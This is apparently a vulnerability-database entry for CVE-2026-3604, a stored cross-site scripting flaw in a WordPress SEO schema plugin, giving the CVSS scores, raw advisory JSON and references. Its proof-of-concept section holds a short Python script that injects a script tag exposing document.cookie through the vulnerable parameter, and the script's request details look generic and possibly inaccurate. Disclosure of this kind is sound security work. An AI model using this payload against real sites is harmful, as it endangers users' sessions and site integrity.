Security Vulnerability Report
中文
CVE-2026-3604 CVSS 4.9 MEDIUM

CVE-2026-3604

Published: 2026-05-12 09:16:41
Last Modified: 2026-05-12 09:16:41

Description

The WP SEO Structured Data Schema plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `_kcseo_ative_tab` parameter in all versions up to, and including, 2.8.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP SEO Structured Data Schema <= 2.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) target_url = "http://example.com/wp-admin/admin.php" # Vulnerable parameter and payload # The payload attempts to execute JavaScript via the _kcseo_ative_tab parameter payload = '"><script>alert("XSS-"+document.cookie)</script>' data = { "_kcseo_ative_tab": payload, # Other necessary parameters to save the state "action": "save_settings" } # Cookies for an authenticated user with Contributor privileges or higher cookies = { "wordpress_logged_in_hash": "..." } response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("[+] Payload potentially injected successfully.") print("[+] Check the relevant page to trigger the XSS.") else: print("[-] Injection failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3604", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:40.810", "lastModified": "2026-05-12T09:16:40.810", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP SEO Structured Data Schema plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `_kcseo_ative_tab` parameter in all versions up to, and including, 2.8.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-seo-structured-data-schema/tags/2.8.1/lib/classes/KcSeoMetaData.php#L133", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-seo-structured-data-schema/tags/2.8.1/lib/classes/KcSeoMetaData.php#L177", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-seo-structured-data-schema/trunk/lib/classes/KcSeoMetaData.php#L133", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-seo-structured-data-schema/trunk/lib/classes/KcSeoMetaData.php#L177", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/315fbc93-5af3-4fe9-b97a-a09957e54c97?source=cve", "source": "[email protected]"}]}}